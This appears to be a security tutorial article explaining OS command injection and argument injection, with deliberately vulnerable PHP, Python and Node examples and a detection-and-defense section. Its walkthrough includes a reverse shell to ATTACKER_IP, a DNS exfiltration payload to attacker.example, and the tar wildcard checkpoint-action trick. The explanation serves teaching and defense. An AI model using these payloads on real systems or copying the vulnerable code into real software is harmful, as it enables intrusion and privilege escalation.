OS Command Injection and Argument Injection

OS Command Injection and Argument Injection - article cover image Web Exploitation
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

OS command injection happens when an application builds a shell command line by concatenating attacker-controlled data into it, then hands the whole string to a shell for execution — system(), popen(), backticks in PHP or Perl, os.system()/subprocess.run(..., shell=True) in Python, child_process.exec() in Node, or Runtime.exec("sh -c " + cmd) in Java. Shell metacharacters embedded in that data — ;, |, &&, ` `, $()`, a literal newline — terminate the command the developer intended and let the attacker append an entirely new one, which then runs with the same privileges as the vulnerable process.

Argument injection is a distinct, quieter variant. Even when an application does everything “right” by avoiding a shell and calling an exec-family function directly with an explicit argv array — so no metacharacter is ever interpreted — attacker-controlled data can still become one element of that array. If the application never checks whether that element starts with a dash, the attacker isn’t injecting a shell command, they’re injecting a *flag* into the target binary’s own argument parser. Several extremely common utilities ship flags powerful enough to reach arbitrary command execution or file read/write this way — tar --checkpoint-action=exec=, git -c core.sshCommand=, zip --unzip-command, curl -K/-o — which is exactly why “we don’t use a shell” is not, by itself, a sufficient defense.

Attack Prerequisites

The two variants share a shape but differ in the specific gap being exploited:

  • An application feature that shells out to an OS binary with attacker-influenced input — diagnostic tools (ping/traceroute panels), media conversion (ImageMagick, ffmpeg), archive handling, git/svn operations, or mail dispatch via sendmail.
  • For command injection: the call passes through a shell and the input is not restricted to a safe character class before concatenation.
  • For argument injection: the call uses an argv-array API (subprocess.run([...]), execve, ProcessBuilder) so no metacharacters are interpreted, but a user-controlled value becomes a whole argv token — commonly a “filename” — without validating that it doesn’t begin with -, and the target binary exposes a dangerous flag reachable that way.
  • The vulnerable process needs enough privilege or network reach for the resulting command to matter — frequently just the web server’s own service account, which is often sufficient.

How It Works

A shell splits a command string on whitespace and a defined set of metacharacters before running anything. Everything after a ;, &&, ||, |, or newline is parsed as a *new* command, and anything inside backticks or $() is substituted inline before the outer command even starts. If user data lands unescaped inside that string, the application’s intended command is just the first of however many commands the attacker chooses to append after it.

Argument injection works differently because there is no shell to abuse — the vulnerability is in the target binary’s own option parser. Standard POSIX-style parsing (getopt/getopt_long) treats any token beginning with - as an option rather than a positional filename, unless a literal -- end-of-options marker has already appeared. An application that builds [tar, -czf, archive.tar.gz, USER_FILENAME] and never checks whether USER_FILENAME starts with - lets the attacker supply what looks like a filename but is actually parsed as a flag. Several common tools were designed with legitimate automation hooks — post-checkpoint scripts, post-processing commands — that are lethal once an attacker can reach them: GNU tar’s --checkpoint/--checkpoint-action=exec=, git’s -c core.sshCommand= and -u <upload-pack>, zip/unzip’s --unzip-command, and curl’s -K/--config or -o for arbitrary file write.

A subtlety worth internalizing during code review: escaping input (escapeshellarg() and equivalents) defeats classic command injection but does nothing for argument injection, because - and = are not shell metacharacters at all. The two bug classes need two different fixes, and a codebase defended only against the first is still exposed to the second.

Vulnerable Code / Configuration

Classic command injection — a ping utility that concatenates the request parameter straight into a shell string:

<?php
// GET /ping?host=8.8.8.8
// VULNERABLE: unsanitized input concatenated into a shell command.
$output = shell_exec('ping -c 4 ' . $_GET['host']);
echo "<pre>$output</pre>";
PHP

An argv-array call that avoids the shell entirely, and is still vulnerable because the argv element itself isn’t validated:

import subprocess

@app.route('/backup')
def backup():
    filename = request.args.get('name')   # attacker-controlled
    # shell=True is NOT used, so metacharacters are inert — but
    # VULNERABLE anyway: filename can start with '-' and be parsed
    # by tar as a flag instead of a filename.
    subprocess.run(['tar', '-czf', '/backups/out.tar.gz', filename])
Python

A Node handler using exec(), which always spawns /bin/sh -c "<string>" and therefore parses shell metacharacters in the interpolated value:

const { exec } = require('child_process');
// POST /convert  { "file": "report.pdf" }
// VULNERABLE: exec() runs the string through a real shell.
exec(`convert ${req.body.file} output.png`, (err, stdout) => res.send(stdout));
JavaScript

Walkthrough / Exploitation

Break out of the ping utility with a semicolon to chain a second command:

GET /ping?host=8.8.8.8;id HTTP/1.1
Host: victim.example
HTTP

If output isn’t reflected, use out-of-band confirmation instead of relying on the response body:

# fires a DNS lookup for the current user's name, visible on an
# attacker-controlled nameserver/collector
host=8.8.8.8; $(nslookup $(whoami).attacker.example)
Bash

Escalate a confirmed injection straight to an interactive shell:

host=8.8.8.8; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Bash

Argument injection into tar is the classic wildcard-expansion attack: it doesn’t come from one request parameter, but from a backup script that later runs tar over a directory the attacker can write filenames into via an unrelated upload feature:

#!/bin/bash
# nightly backup cron job — VULNERABLE: the shell glob (*) expands to
# whatever filenames exist in the directory, and each match becomes a
# separate argv token that tar's own parser sees.
cd /var/www/uploads
tar czf /backups/uploads-$(date +%F).tar.gz *
Bash

The attacker uploads two files, through the application’s normal upload feature, with names crafted to be parsed as tar flags once the glob expands:

touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# shell.sh (also uploaded) contains the attacker's payload.
Bash

When the cron job’s tar czf ... * runs, the shell glob expands * to include those two filenames as separate argv elements *before* tar ever sees them — tar‘s own option parser then reads them as --checkpoint=1 --checkpoint-action=exec=sh shell.sh and executes sh shell.sh at the checkpoint interval, with the privileges of whatever account runs the cron job, often root.

Note: Argument injection PoCs frequently fail on the first attempt because the attacker-controlled value is a *single* argv element — spaces inside one array item are never re-split into multiple flags the way a shell would split them. The tar wildcard technique above works precisely because the shell glob, not the application, is what turns each malicious filename into its own separate argv token.

Opsec: Blind command injection is common when output isn’t reflected to the response — always have an out-of-band listener ready (DNS collector, interactsh, or a plain nc -lvnp for a reverse shell) rather than assuming an unreflected payload failed to execute.

Detection and Defense

The durable fix removes the shell from the equation entirely; validating input is a weaker fallback for the cases where a shell is unavoidable:

  • Avoid the shell — use argv-array exec APIs (subprocess.run([...], shell=False), ProcessBuilder, PHP proc_open() with an array command) so metacharacters are never interpreted.
  • Where a shell truly is required, allowlist the expected format (e.g. regex-validate a hostname/IP) rather than trying to blacklist metacharacters.
  • Validate argv elements that originate from user input don’t start with -, or explicitly prefix with -- to mark the end of options where the target binary supports it (tar -- filename, git -- path).
  • **Never run a shell glob (*) over an attacker-writable directory** in a privileged script — enumerate an explicit file list instead.
  • Run subprocesses with least privilege — avoid setuid/root cron jobs wherever avoidable, and consider a restricted PATH or container boundary.
  • Monitor process creation from web/app service accounts (EDR, auditd execve events, Sysmon Event ID 1), especially a shell (sh, bash, powershell) spawned from a web worker process.

Real-World Impact

Command injection sits in OWASP’s Injection category (A03) and is one of the longest-standing critical-severity bug classes in web application testing, routinely found in network-diagnostic admin panels, media conversion pipelines, and consumer router/IoT web interfaces — the last has been a recurring source of internet-wide botnet recruitment precisely because command injection in a router’s admin UI gives immediate code execution on internet-facing devices. Tar/gzip wildcard argument injection is a classic privilege-escalation path in backup or archival cron jobs that operate over attacker-writable directories.

Conclusion

Command injection and argument injection are the same underlying mistake — letting untrusted data influence what a downstream process treats as instructions rather than data — expressed at two different layers: the shell’s metacharacter grammar, and a target binary’s own option parser. Removing the shell closes the first; validating that user-controlled argv elements can never begin with - (or terminating options with --) closes the second. Neither defense substitutes for the other.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL